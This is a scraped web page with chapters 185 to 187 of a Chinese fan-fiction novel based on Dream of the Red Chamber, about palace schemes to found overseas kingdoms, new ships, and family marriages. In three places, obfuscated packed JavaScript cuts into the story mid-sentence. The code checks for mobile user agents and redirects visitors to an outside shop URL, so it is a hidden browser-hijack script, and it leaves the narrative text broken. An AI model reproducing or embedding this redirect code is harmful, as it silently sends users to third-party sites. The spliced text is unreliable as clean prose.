皇后的权力从西汉之后,就一直在不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566037|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩减,便是太后,含金量也愈发不如从前了。但并不代表皇后就真的只能是皇帝的附庸,一个皇后,有点私心,在不牵扯朝堂的情况下,想要做点什么事情,还是挺容易的。 如今 皇后既然已经生出了叫儿子自立的心那么作为一个母亲一下子就变得行动力十足起来。 皇后娘家遭贬当今登基之后虽说没有平反却也赦免了直接叫他们回了原籍生活皇后私底下还给了不少钱财想着只要自己儿子能够当太子当皇帝那么娘家便是一时落魄迟早也能起来。 如今还指望什么不如叫娘家还有一干亲戚先准备起来先跟着平王府的船队出海看看外头的情况再说!若是圣上不肯出钱出力那也只能想办法召集乡勇什么的。 皇后如今已经起了破釜沉舟之心因此没几日功夫便有十几封信送了出去圣上知道之后只是沉默瞧着夏守忠那副低眉顺眼的模样圣上最后摇了摇头说道:“随她去吧!此事终究是朕对她不起!” 夏守忠只当没听到这话只是又轻声细语道:“皇爷大殿下那边如今经常跟平王爷一起又借了许多西洋的书一起看着呢!” 圣上沉吟一番吩咐道:“叫鸿胪寺那边多收集海外的消息选取一部分送到大殿下那边!” 情况允许的话圣上还是有一份怜子之心的。徒嘉珩终究是他看着长大的长子又是嫡出也曾寄予厚望。偏生这孩子并无过失忠孝仁厚都无可指摘在这样的情况下又要剥夺他的继承权又要将他过继出去圣上自己扪心自问都觉得亏心。 既然如今有一条路能够给这个长子走那么为什么不呢?甚至他觉得以后其他儿子也是一样定下太子之后其他儿子都可以分封出去。如此以后便是天地反复也是肉烂在锅里。 只是圣上肯给自家儿子筹谋却不希望如同太上皇想的那样还恩及兄弟! 圣上对下头几个弟弟真没什么好感 至于下面那些圣上连他们模样跟名字都未必能对得上号到了年纪照例给他们封个王让他们混吃等死就行了还指望朝廷出钱出力叫他们另立藩国?天恩再浩荡这甘霖也不是人人都能沾到不是吗? 圣上这番心思太上皇其实也能理解但是他十几年前见多了自己儿孙的血如今并不想再见到了。 对于圣上来说将 跟自己立场相左的兄弟以册封的名义流放出去,又有什么不好的呢?给个名头上的支持就好,他们自己也会想办法凑足人口和钱粮的。结果,圣上就是转不过这个弯来。 如今徒宏憬尚且没给圣上带来太多的困扰,圣上尚且不肯,等日后,岂不是更不肯? 想要做到这一点,就得让圣上知道,他的兄弟其实有鱼死网破的能力,这才能让他松这个口。 这般一想,太上皇便又召见了徒宏憬。 徒宏憬如今日子其实过得挺不错,王妃牛氏如今已经彻底变成了隐形人,要不是皇家没有和离的先例,徒宏憬也不敢真的跟镇国公府或者说镇国公府所代表的开国勋贵撕破脸,所以,牛氏的王妃名号还保留着,但府里头的一应内务都已经是甄侧妃管着。 除此之外,因着甄家如今在江南愈发强势,又有太上皇的支持,一些老臣也开始跟徒宏憬暧昧起来,甚至,江南那边还有人家将女儿送了过来,给徒宏憬做妾。虽说只是庶女或者是收养的族里的孤女,但一个个明眸皓齿,美貌多情,最重要的是,嫁妆也丰厚,不仅是钱,还有背后的人脉势力,这都让徒宏憬在朝野上下混了个贤王的名头。 当初太上皇就将徒宏憬放在户部行走,到了当今圣上登基,碍于太上皇的存在,也只能叫这个弟弟继续在户部这个紧要部门待着,免得被太上皇说成连兄弟都容不下。 徒宏憬愈发觉得圣上软弱可欺,只觉等着时机成熟,便可取而代之。 如今得到太上皇召见,徒宏憬不免有些欢欣雀跃,还以为有了什么好机会,结果到了大明宫,又被太上皇画了一圈大饼,然后叫他继续与那些老臣勾连,多多积攒钱粮,私底下也可以收拢一些人手。 太上皇说得不算隐晦,徒宏憬一听,自觉已经明白了,这不是叫他拉拢领兵的将领甚至豢养私兵吗?难不成是想要搞兵变? 徒宏憬细细一琢磨,觉得如今这个情况,当今终究是占据了礼法乃至大义上的优势的,若是手里没有兵权,那么,到时候当今一横心,不顾及太上皇的想法,先对他下手,岂不是功亏一篑? 太上皇太了解徒宏憬了,因此一看徒宏憬的眼神,就知道他想法,他也不否认,只是继续暗示。 当然,这种事情,可比找几个文人士子结社写几篇诗文费钱多了,所以,言下之意就是,江南那边,甄家还得加大力度,从那些冥顽不灵的豪商乃至士绅手里掏出钱来,要不然,哪里养得起这许多人呢? 徒宏憬对此深以为然,他光是收买自己王府的侍卫,每年就要撒不少银子出去,要不然,这些人万一被别人收买了,随便在自己的车马上头做点手脚,自己就能在大庭广众之下惊马失足,死得顺理成章。 如此,若是想要拉拢那些本来就有一定地位的将领乃至他们手底下的人,那就得付出更多的代价。自己养兵倒是也行,但却不能在神京附近,这是圣上眼皮子底下,真要动静大了,对方就能顺理成章地收拾自己。 脑筋一转,徒宏憬又想到了江南。嗯,甄侧妃已经有孕,甄家那边便是为了自己的外孙,也该再拼一把吧! 作者有话要说 第 186 章 皇家父子开始暗中... 第186章皇家父子开始暗中. 皇家父子开始暗中博弈,顾晓却没有着急。 许多事情是急不起来的,如今的海船其实不太适合跨越大洋,速度太慢,抗风能力也不够,只在南海一带乃至沿着海岸线走没什么问题,但要是跨越大洋,前往根本不接壤的其他大洲,风险就很大。 所以,如今需要做的就是造出速度更快,安全性更高,最好还能军民两用的船来。 顾晓这会儿只恨自己上辈子没多留心,别的不说,玩几个大航海游戏,也能记得几样船的模样。 但是很可惜,作为小城镇出身的孩子,她小时候为了摆脱跟那些女同学一样的命运只能拼命读书,根本没机会接触电子游戏,等到工作之后,也对这些没什么兴趣了,玩点休闲手游可以,像是这种需要花费更多精力的单机游戏,她是从来不玩的。 如今她也只是略微后悔了一下,最终决定,还是相信古人的智慧。 其实想要沿着海岸线去北美也行,但是那得沿着北极圈那边,从白令海峡走,但风险更大,因为那边有许多冰山,别说是木船了,泰坦尼克号撞上了,不照样沉了! 所以,为了安全,还是得另辟航线。也就是如今六分仪牵星术之类的能够在大海中判定方向的技术已经被水手们掌握了,要不然的话,在没有卫星导航的情况,光知道大致的方向,就想要开辟出一条新的航线来,那就是真的只能碰运气。 顾晓私底下已经对下头人宣传了一波美洲。 如果说相当长一段时间,欧洲那边说中原是黄金之国的话,实际上,真正的黄金之国,还得说是南亚次大陆还有美洲那边,澳洲要不是大半地方都是沙漠,其实也能算,矿产实在是太丰富了。 所以,后世人家社会福利好是正常的,人口不多,光是卖矿的钱就足够养活国民了! 在顾晓的宣传中,西洋人开发了美洲也没多少年时间,就是一船船的金银往回运,如今那边还有许多未曾开发的金银矿,过去之后,就能淘金…… 对于黄金的喜爱,几乎是刻在人基因里头的。他们原本跟着跑船,其实收益已经不菲,只是那些银子,哪有金灿灿的黄金更能激发人的野心?他们都琢磨着,真要是能到那边 淘金 因此别说是水手连造船的船工一个个也是心旌动摇满怀憧憬。造船的那些老师傅觉得自己扛不住这长途跋涉的苦但是自家还有儿孙呢出去闯荡一下不是坏事! 乃至浙东顾家那边不少族人也有些兴奋。 大家都喜欢一夜暴富细水长流的买卖可没那么刺激人。这些年顾家开发鸡笼岛也就是刚有了收益不是种植粮食而是种植甘蔗直接榨糖。 糖这玩意放在后世也是硬通货如今更是如此鸡笼岛那边气候很适合种植甘蔗榨糖剩下的渣子还能造纸甚至还有人拿来酿酒虽然没有用甘蔗酿的酒好但对于普通人来说有劣酒喝就好也不用多计较。 但是这个钱跟金矿相比又是小钱了!大家听说西洋多年来从美洲掠夺了大量金银的时候眼珠子都是红的。 如今一个个都在摩拳擦掌趁着那些西洋人还没去开发那边的金矿先赶紧去占了地盘淘了黄金之后运回来。 隆安侯夫妇这些日子可是收到不少顾氏族人的信都有些心惊肉跳要是那边没有金矿那些受骗的族人会不会跑到京城把自个女儿给撕了啊! 隆安侯夫人急急忙忙找上门来忧心忡忡地跟顾晓说了这事顾晓却是处之泰然那边本来就有金矿要不然怎么会有什么旧金山呢?只要你肯吃苦还有个阿拉斯加是个淘金的好地方呢! 当然她没这么跟隆安侯夫人说只是说道:“那边金矿肯定是有的要不然西洋人穷了那么多年怎么就一窝蜂过去了?这送死的买卖有人做赔钱的买卖没人做!西洋那边如今连南洋的生意都不怎么放在心上了每年大把的金银拿出来采买咱们中原的丝绸瓷器可见他们如今钱财来得容易。” 隆安侯夫人听得略定了定心但还是有些发愁:“那边又不是遍地黄金到时候有人发现了有人没发现的!” 顾晓直接说道:“那也是命数!再说了那边也不光是有金银还有大片的良田呢!听说那里的土地都是黑色的抓在手里都能攥出油来!这种土地随便撒一把种 子下去,都能丰收,这才是能传家的好东西!” 隆安侯夫人不明白什么叫做殖民,顾晓也不好跟她说未来开拓藩国之事,只能是以利诱之。 隆安侯夫人却是摇了摇头:“这赚钱传家,什么时候是个头啊!民间有句话叫做儿孙自有儿孙福,莫为儿孙做马牛!咱们什么都想在前头,但那什么美洲天高皇帝远的,你也管不了,到时候出几个败家子,再大的家业也撑不住!” 顾晓却是说道:“我做了我能做的,日后如何,是他们的造化!” 隆安侯夫人见女儿神情泰然,也不知道该怎么说。她不是什么有野心的女人,对于目前的生活其实很满意,以前只是做点海贸生意,如今竟是类似于谋国了,这就让隆安侯夫人很是不安。 隆安侯夫人最后回去的时候,还是一副心事重重的模样,隆安侯瞧见,不免问道:“怎么了?娘娘那边有什么不好?” 隆安侯夫人听了,难免带了点怨气,说道:“她哪里不好,过得自在着呢!就是过得太自在了,一心想着折腾!” 说着,就将顾晓那些话学给隆安侯听了。 隆安侯听了,却是哈哈大笑,捋了捋胡须,笑道:“好志气,比她两个哥哥强!她要是个儿子,那就好了!” 隆安侯夫人瞪大了眼睛:“她如今就这般了,若是个男子,还不上天了啊!” 隆安侯想了想,还是低声对自家夫人说道:“我之前听说了点风声,说是当今有意叫儿子到外藩建国……” 隆安侯夫人听得嘴都合不上了,差点没惊叫起来,好半天才也压低了声音说道:“莫不是娘娘从皇后那里听说了消息,想要给两个孩子打算?” 隆安侯听了,点了点头:“多半如此,嘿嘿,咱们顾家的外孙若是能海外建国,顾家跟着,才算是与国同休,世袭罔替了!” 隆安侯倒不是信得过女儿外孙的操守,实在是若真的出去,王府那边才多少人口,总不能将皇庄上的人都带出去,最后能够依靠的无非就是母族,妻族这样的外戚。 徒嘉钰和末儿都还没有娶妻,而且他们这样的身份,妻族估摸着也寻常,不比顾家家大业大,姻亲众多。自家出了大力,自然能占据更多的好处。 这般一想,隆安侯便有些着急,说道:“我 去书房,给老家那边写几封信,问问如今是个什么情况,不管怎么说,到时候事情成了,总不能咱们自家人反而拖了后腿!” 隆安侯夫人其实还是觉得能在中原安享富贵最好,这出去个几十里,都有可能水土不服,何况是远赴海外呢!只是女儿有了想法,丈夫也是动了心思,她能说什么呢? 徒嘉钰不知道外祖父一家已经准备尽力帮助自己了,他听闻自己之前设计的海船已经正式下水,如今只恨不得插上翅膀飞到南边看一下海船的情况,偏生宗室无诏不能离京,只得老老实实写信询问情况。 反倒是徒嘉珩,他所谓的愚钝,其实就是不太会变通,很多时候一根筋,不是什么机变之人,所以圣上和太上皇都担心他玩不过那些有一万个心眼子的臣子。但这样的人,只要有了一个目标,那么就会一门心思去做! 徒嘉珩其实并不怎么喜欢读书,他对书上的许多道理,其实是搞不明白的,主要是,许多书籍里头的道理,颇有些自相矛盾之处,便是通过注解,让这些道理看上去能逻辑自洽了,但对于徒嘉珩来说,却不是那样。因此,他在弘文馆读书的时候,成绩就非常平庸。 但如今,因为圣上故意放水,给他送来了大量关于美洲那边的描述和记载,虽说其实西洋那边如今也没开发多少地方,对于那里的全貌也不是很了解,但总归有个差不多的概念。 徒嘉珩已经在自己的寝殿中设置了一个沙盘,根据看到的那些笔记书籍上的记载,将沙盘堆成他认为的美洲形状,然后就开始琢磨,这么大的地盘,应该如何去征服,如何去统治。 圣上皇后知道了徒嘉珩的举动,其实内心都很高兴。皇后一直以为自家儿子性子其实有些软弱,如今一看,竟是不然,不免深感欣慰,当下,与娘家还有几个亲戚家里联系愈发频繁起来。 而圣上这会儿甚至有些懊悔,这儿子虽说不够机变,但有这样的心志毅力,其实也不是不能委以大任。 只是如今话已经出口,父子乃至夫妻之间的隔阂已经出现,便是真的封了徒嘉珩做太子,也难免互相猜忌,到时候父子相残,夫妻反目,岂不是更糟糕? 因着朝廷已经连续几十年都在驱逐传教士,那些西洋商人都只能在小范围之内活动,所以,朝廷对于西洋那边的了解,竟 是还停留在几十年前因此即便圣上叫人极力搜集最后关于美洲的资料也很少。 圣上并不想叫传教士再进来一个想要让神权凌驾于军权之上的宗教就不该存在。 如此想要打探那边的情况就变得比较困难最好还是亲自叫人去看一看。 朝廷虽有水师但总归只在近海游弋反倒是民间商船走的地方很远之前还有人按照前朝郑和出海时候的航线顺着海岸线一直去往非洲的。 不过如今那边最大的买卖是奴隶交易有人还买过一些回来说是唐时的昆仑奴但这些人长相不符合大家审美也就算了人高马大的吃得又多还不如普通的佃户能吃苦大家都不买账直接砸手里了之后便没人乐意过去了! 就像是皇后想到了顾晓手底下的船队一样 圣上手里也有商船但是主要是往东洋那边的这路上风平浪静的当初有那等落魄武士弄个木盆就敢下海可见来回难度委实不算高。 能在这里来回的船队横渡大洋显然是不够的想要更好的船还真得看那些经常出海的海商。 圣上不太好意思直接找顾晓琢磨一下之后就写了一道手谕命人南下观察南边那些出海的商船还有西洋那些船队的船只模样再想办法看看能不能登上这些西洋的船只去美洲看一下。 其实最好的办法还是用官方的身份但圣上自己心虚啊他是想要去夺地盘的真要是叫西洋那些人知道了哪里还肯让他们知道内情。 中原人的模样跟西洋那些人又极为不同西洋人即便有黑发的那也往往高鼻深目而且日常举止姿态都颇有不同一眼就能分辨出来。 所以也不好行什么用间之事只能当做是民间往来还不能有什么太明显的商业特征最好就是类似于士子游学的形式如此不会引起对方的警惕。 圣上将心中所思写在手谕上然后便叫夏守忠送到通政司叫他们尽快行动毕竟那美洲距离中原万里之遥去上一趟还不知道要费多少力气还是早做准备为好。 圣上是天子自然随随便便就能有许多人为他效力而到了顾晓这边却得先以前程吸引再以重金赏赐才能叫人放弃已经走熟的路 线,走向未知的未来。 徒嘉钰绘制的新船图纸果然比之前的船只更有优势一些,虽然速度没有提升,但是,稳定性更强,载重也更多,不仅能跟寻常的宝船一样通过船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566038|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舵改变方向,还能通过船帆改变方向,当然,这对水手的要求会更高一些。 这艘船造好之后试航了一次之后,大家对此就有了信心,直接大肆从其他船厂采购了一批已经阴干好的木料回来,就开始赶工继续造船,等着来年选个黄道吉日,一路向东,横渡大洋,看看传说中那个遍地是黄金白银的大陆,究竟是什么模样。 皇后都不知道顾晓手底下的人居然这么有行动力,还是顾晓过来委婉地表示,今年的收益多半都投入到造新船上头了,今年分红不多,她才知道这事。 到了这个时候,皇后哪里还在乎什么分红,攒再多的钱有什么用,便宜不知道哪个贱人的儿子吗? 她现在连给后宫的赏赐都吝啬了许多,圣上不掏钱,她才不从自己的私房里头掏。那是圣上的后宫,跟她有什么关系。在王府,她若是有心,还能叫下面侍妾如同丫头媳妇一样过来侍奉,如今嘛,呵呵,低位妃嫔首先要对自己的主位娘娘负责,而能做到主位娘娘的,皇后便是有权支使,却也不好真的这么做,显得太过刻薄。回头被圣上知道了,还当自己给那些妃嫔穿小鞋呢! 因此,皇后直接说道:“弟妹不必如此,这探索航线之事才是重中之重,只要此事能做成,钱财又算得了什么!钰儿跟末儿都与珩儿跟亲兄弟一般,到时候,还得他们兄弟几个互相帮衬呢!” 这明显就是封官许愿了,顾晓忙说道:“臣妾不敢,小儿自当为殿下效力!”当然,得你们给得足够多才行,要是只想拿自家当作前驱,那还不如自个单干呢! 皇后显然很明白那个道理,她笑吟吟说道:“那美洲论起土地广袤,比起中原尤甚,到时候画地而治,更添和气!” 对皇后来说,那真是宁可给侄子,也不给庶子。你们都要夺我儿子的皇位了,我在外头辛苦一遭,也还要分润你们不成?凭什么啊! 虽说这话是皇后说的,但是顾晓也当自己信了,皇后真要是撇开自己,想要成事,不知道得额外费多少工夫。 至于指望圣上出钱出人,朝堂上也有许多掣肘,谁知道圣 上什么时候腾得出手来。尤其,许多朝臣更倾向于保守,未必乐意花国库的钱,给不可能继位的皇子打出一块新的疆土来,这对于大多数朝臣来说,根本没有好处! 与其到时候在朝堂上扯皮,不如先起了炉灶,等着徒嘉珩略大一点,就干脆叫他跟徒嘉钰一起出海,将摊子支起来再说! 当然,光是两个半大的少年便是身份高贵,想要成事也不容易,但不是还有亲族吗?皇后母族郑家跟当年那个荥阳郑氏有些关系,不过早就是旁支了。但是这么多年来,族里也出过不少人才。 如今圣上既然不打算叫徒嘉珩做太子,那么,肯定不会再抬举郑家,免得叫新君为难。 以读书科举晋身的人家,有一个麻烦就是,要是两三代没人能做官,那就要落魄下去。 圣上尚且还在壮年,日后另有新君,也不会用郑家,郑家难道还能蛰伏大几十年吗?到时候就跟寻常百姓也没什么区别,还不如趁着现在,另寻出路呢! 除了自己之外,当年太子妃娘家沈家同样是这个问题,被义忠亲王谋逆之事牵连,直接禁了子孙三代科举。如今老一辈人还活着,还有些威望,另外也还有些薄产,还能维持,等着老一辈过世,三代之后想要再支棱起来,还得看运气。 尤其,她跟太子妃本来就是表姐妹,徒嘉珩以后又是过继给义忠亲王,定然也是记在太子妃名下,这双重关系之下,不怕沈家不肯干。 这些人,都是可以跟着徒嘉珩出去的,他们留在中原只能是有志难伸,还要被打压,不如到了外头,纵然一开始筚路蓝缕,但总能建功立业,回来就是衣锦还乡,只有叫先人欣慰的。 倒是徒嘉珩妻族太单弱,说是太上皇的母族,结果太上皇当政的时候不加恩,轮到自己退位了,反而想起来了,拿着自己儿子出去给母族做脸面! 不过,这几件事也算是太上皇对自家儿子的亏欠,因此,这出海建国的事情,最终还是得落在太上皇头上,只要叫太上皇开了口,圣上便是想要反悔,那也不行,毕竟,他一直标榜一个孝字呢! 皇后想到此节,略微心平气和了一些,又叫人拿了一些史书进来,准备看一下,自己究竟需要准备多少东西才行。 顾晓从宫里回来,徒嘉钰也从弘文馆回来了。 他自从跟徒嘉珩夜谈了那么一次之后,似乎一下子就成熟起来了,甚至还异想天开,觉得自己可以娶个大海商家的女儿做王妃,到时候出海的话,也能叫岳家一起出钱出力。 顾晓听得哭笑不得,忍不住敲了敲他的脑袋:“你真要是这样,那就真的要被人笑话了!宗室里头除非是那些爵位已经到头了的,要不然的话,谁肯跟商家结亲,最多找个商户家的女儿做妾!而那等大商人,便是想要献女,也得找那等真正有权有势的,你一个空有爵位的宗室,人家可未必看得上眼!所以啊,你也别搞什么标新立异的把戏,老老实实娶个大族之女回来做王妃算了!而且,既然你想好了要出海,那之前的条件就得再增加,要不然,总不能以后跟王妃分隔两地,叫你媳妇在京城跟我这个婆婆待一块,你自个在外头逍遥快活吧! 徒嘉钰倒也不沮丧,这年头的婚姻,本来也与爱情没什么关系,所以,他觉得,自己的婚事还是应该更有用一些,不能直接娶个海商家的女儿,那最好娶个有着军中背景的,出海这种事情肯定不会一帆风顺,说不定是要抄刀子打仗的,他手里可没这样的人才,到时候只能是依靠外力,姻亲总要更可靠一些。 作者有话要说 第 187 章 这个妹妹我曾见过... 第187章这个妹妹我曾见过 徒嘉钰这番心思,顾晓倒也觉得有道理,虽说是王爷,但是想要吃点软饭也不是不行,何况这也算不得软饭,可以说是互惠互利了! 只是这样的人家,却是不好再让隆安侯府帮着找了。顾晓琢磨一番,便想到了张氏。 当然,顾晓连对娘家那边都没实话实说,自然不可能跟张氏说,只是表示自家儿子想要从勋贵中娶个王妃,不用那种祖上爵位有多高的,中不溜丢就行,最好娘家上进一些,别闹到最后,一家子还得王府来接济。 张氏一听,立马表示,她一定给徒嘉钰寻个好姑娘做王妃,定然不会是什么破落户。 这事也不是一两天就能搞定的,因此谈完正事之后,两人又坐在一块边喝茶边聊天。 宁国府那边,之前已经对外报了喜讯,说是徐氏老蚌怀珠,生了一个小女儿,如今正宝贝着,以至于连贾珍都顾不上了。 倒是贾蓉挺喜欢这个小姑姑,没事就凑过去陪小姑姑一块玩耍。 贾珍跟王熙凤的婚事也已经开始走流程,王子胜夫人那边也怕夜长梦多,尤其王仁是个混账玩意,哪怕贾赦已经将人往军营里头一塞,准备将这个还没变成人渣却已经有了些纨绔习性的小子好好改造一番,王子胜夫人也怕回头贾家瞧着王仁不成器,怕以后还要给王仁首饰烂摊子,直接悔婚,所以还是早点将女儿嫁过去,以女儿的手段,自然很快就能掌握住宁国府的实权,到时候也能帮衬儿子一番。 至于王熙凤嫁过去之后过得怎么样,王子胜夫人其实是没多少想法的,咱们家都破落成现在这个样子了,能给你找一门好亲事,已经是王家祖坟什么时候又冒了青烟,你还想要怎么样? 因着王熙凤给贾家一干长辈的印象一直比较好,宁国府给的聘礼也很丰厚,私底下还直接给王熙凤准备了一副嫁妆,另外几个长辈又额外送去了不少东西,等着添妆的时候还可以再给一些,如此,她的嫁妆也就算得上比较体面。 “那丫头也是被家里拖累了,要不然以她的人品才干,谁家不是抢着要呢?如今倒要给人做继室!即便贾珍算是张氏的侄子,张氏依然觉得他是配不上王熙凤的,言辞之间,难免为王熙凤感到可惜。 顾晓却是笑而不语王熙凤这般未必是坏事只有当她自己真正意识到作恶的结果时她才会真正生出戒惧之心而不是声称自己不相信什么因果报应肆意妄为。如此即便贾珍依旧是个混账点心那么以王熙凤的聪明才智依旧能够过上不错的日子。 张氏不知道王熙凤在原本的命运里成了自己的儿媳妇不过这辈子贾琏跟王熙凤之间并没有擦出什么火花来。 贾琏如今沉迷于数学不可自拔他已经不能满足于贾瑚抄录回来的那些算书直接求了贾赦想要更多有关算学的书籍。 贾赦能有什么办法他少年那会儿对读书根本没多少兴趣也就是掌握了基本的算数就像是贾家几个老爷子口述的兵法里头计算行军速度消耗军粮之类的东西进一步的对他来说根本就是无用之物。 但是瞧着贾琏眼巴巴的模样贾赦也是无可奈何只得去求了圣上圣上也觉得挺有意思说实话对于皇帝来说实际上精通算学的人远比精通儒学的人更有用一些。从古至今已经出现了太多大儒但正儿八经的数学家却并不多。 在朝堂上最精通算术的应该在户部那边养了一大堆的账房专门用来算账但是精于算学的却在钦天监他们需要测算天文历法 钦天监的官职几乎都是家传遇上那等天资出色的人家愿不愿意跟着学也是个问题。毕竟钦天监的官职不高也没什么升职前景甚至不小心算错了还得背锅。 因此圣上表示可以给贾琏介绍钦天监监正做先生的时候贾赦就警惕起来了他一点也不想让儿子入钦天监圣上也知道他的顾忌堂堂一等将军的儿子跑去钦天监做个毫无前程的小官委实有些过分只得许诺贾琏过去就是学习罢了便是有这方面的天份将来也可以去工部去户部做官毕竟这两个部门对于高端的算学人才从来都是来者不拒的无非就是大多数人根本不会去学这个罢了以至于他们不得不想办法自己培养。 贾琏如今跟着钦天监监正学习 都不亦乐乎,竟是不像是原著里头一样,贪花好色了,毕竟,比起学习得到的成就感,女色上头,对他来说带来的刺激与愉悦就少太多了。 这样的贾琏,在还没意识到王熙凤作为女性的魅力时,王熙凤就定亲了,从小到大的礼法约束也会让他生不出什么旖旎之思来。他听说王熙凤跟贾珍订亲的时候,还挺高兴。 张氏笑道:“珍哥儿和凤丫头的婚事也定下来了,就在八月里头! 顾晓点头说道:“回头有空我也送一份贺礼过去,说起来,我们家佳婉以后跟那位凤姑娘也是妯娌了,明明年纪比凤姑娘还大一点,却还得叫一声嫂子呢!说着不免笑了起来。 张氏也是一笑:“可不就是这样! “说起来,林御史家的小公子如何了?顾晓随口问道。 张氏露出了一点愁色:“病倒是好了,但是人还有些虚弱,只能慢慢调理着。只是江南那边如今情况复杂,林家那边因为没什么亲族,能够信任的人也少,难免有些顾此失彼! 顾晓琢磨了一下,便说道:“林御史在江南任期很长吗? 张氏有些无奈:“按理来说,巡盐御史的任期就是一年,最多也不会超过三年,但是如今三年已经过去了,圣上依旧没有换人的意思! 顾晓想了想,说道:“若是林夫人母子是林御史的软肋,那是不是可以叫林夫人带着儿女先回京省亲,好歹先将那孩子的身体养好再说! 张氏听得一愣,然后就是眼睛一亮,既然江南那边没法安心休养,不如先回京。 横竖林如海的身份决定了他不能多跟江南其他官员有多少往来,既然如此,也不需要如他之前作为扬州知府的时候一般,需要贾敏主持中馈,维系与相应官员内宅的关系,那么,叫贾敏以省亲为名,带着两个孩子脱离江南那个旋涡,也不是什么坏事! 至于在贾敏母子返回京城的途中下手,呵呵,那就真的是跟林家和贾家撕破脸了。 张氏忙说道:“娘娘是一语惊醒梦中人啊,我们竟是没想过还能这样! 横竖孩子都有了,林如海也就没那么重要了,与其一家子陷在江南,不如先让贾敏母子脱身!至于林如海有没有照顾,他身边又不是没有下人,便是姬妾也是有几个的,还怕他孤零 零一个?便是林如海自己 被顾晓这么一提醒张氏都有些迫不及待起来。 …… 贾敏回来的时候正好错过了王熙凤与贾珍的婚礼。没办法这年头书信传递就很慢而且贾敏跟林如海也要商量一番既然是想要在娘家长住也得多做准备林如海还打算趁着这个机会给京中传递一下消息。最重要的是两个孩子年纪小身体也不好肯定是不能夏季出行的夏季天热船舱狭窄水上行船湿气又重一个不好染了病对于本来体质就差的孩子来说那就是一场灾难。 因此光是前期准备就花费了许多时间等到出发的时候已经是八月初到达京城的时候王熙凤都是进门一段时间的新妇了! 王熙凤这会儿也就是豆蔻年华但是已经能看得出来美貌动人起码贾珍这个好色的家伙对此是非常满意的婚礼从头到尾都表现得春风得意但是在知道得王熙凤及笄之后才能圆房不免又有些沮丧。 好在贾珍其实也并不是那种幼态审美而且他本身也有别的姬妾倒不会因此就做和尚了!王熙凤对贾珍也比较了解虽说这已经是她能够得到的最好婚事了但贾珍那个性子委实叫王熙凤有些嫌弃。 不过相应的王熙凤也自负美貌觉得自己能够拿捏得住贾珍因此虽说不能圆房王熙凤却也吊着贾珍叫贾珍欲罢不能夫妻二人之间竟是慢慢有些情投意合地架势。 而贾敏带着两个孩子回来最高兴的就是贾史氏几天前就叫人去通州码头那里接人听说人进城了就将两个儿媳妇还有孙子孙女都叫了过来连同宁国府那边徐氏王熙凤婆媳都一块叫了过来在荣庆堂等着女儿外孙外孙女的到来。 贾史氏别的也就罢了对贾敏这个女儿的疼爱却是真心实意的。一听说贾敏他们母子三人已经进了二门下头拦都拦不住就硬要出门去迎等到看到贾敏带着两个孩子近前行礼的时候一个哽咽泪水都流下来了。 她其实不知道之前外孙生病是有人暗害的事情但是却也觉得女儿在扬州并没有得到很好的保护。 老实说她其实有点后悔当初为什么要将女儿嫁给林如海。原本以为是强强联合二十岁的 探花郎,按理来说,仕途应该是扶摇而上,但是林如海那是真的运道不好,正处于上升期,就遇上了丁忧,虽说避过了宫变,却也因此错过了关键的那几年,以至于之后的升迁,就有些不尽如人意。 一个兰台寺大夫,虽说已经是四品,但对于贾敏来说算得了什么呢,当初要是贾代善和贾史氏两口子愿意,贾敏这样的身份,做王妃那是绰绰有余,如今放在地方上诰命还说得过去,放在京城,压根算不得什么。 想到贾敏周周转转这么多年,竟然只是个四品夫人,好容易有了孩子,还差点夭折了。 贾史氏只觉得是林家的种不好,自家女儿健健康康,结果生下一个外孙女先天有些不足也就算了,外孙竟然也是如此,这显然是林家的问题。再一想林家几代单传,贾史氏愈发觉得自家女儿嫁给林如海是亏了。 当然,当着贾敏的面,贾史氏再多的不满也不好说,她瞧着因为旅途劳累,看起来愈发显得精神不足的外孙外孙女,一边抱怨林家根子上体质不好,一边又心疼得很,忙不迭就叫人拿自己的帖子去太医院请个善于儿科的太医回来给两个孩子瞧病。 贾敏忙说道:“母亲,不必如此,黛玉和植哥儿就是路上劳累,休息一下就好了!” 贾史氏一听就不乐意了,板着脸说道:“我给两个孩子请太医,你拦着作甚!有病就看病,没病就当请个平安脉,你还是个当娘的呢,竟是这般不精心!” 然后又看着年纪虽小,已经看得出来是个美人胚子的黛玉还有有些瘦弱,显得脑袋大身体小的林植,愈发心疼起来,忙叫人给两个孩子拿果子吃,之前正好外头送了秋桃过来,又甜又脆,怕两个孩子不克化,还叫人做成桃子糖水端上来给他们吃。 贾敏拗不过贾史氏,只得答应下来。 一边张氏听着微微含笑,贾敏回来了,贾史氏肯定大部分精力都在贾敏他们母子三人身上,免得没事再找大房的麻烦,倒是王氏,忍不住暗地里头撇了撇嘴。 贾宝玉也算是乖巧,他刚刚也出来跟贾敏行了礼,这会儿好奇地看向了黛玉,然后就脱口而出:“这个妹妹我曾见过的!” 几个大人都忍不住笑起来,贾敏也没多想,笑道:“想来是黛玉生得像我,话说侄女像姑,她跟家里几个姐妹也有几分想 象这才看起来眼熟!” 贾宝玉也就是一说听得贾敏这般说便觉得有道理一边王熙凤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 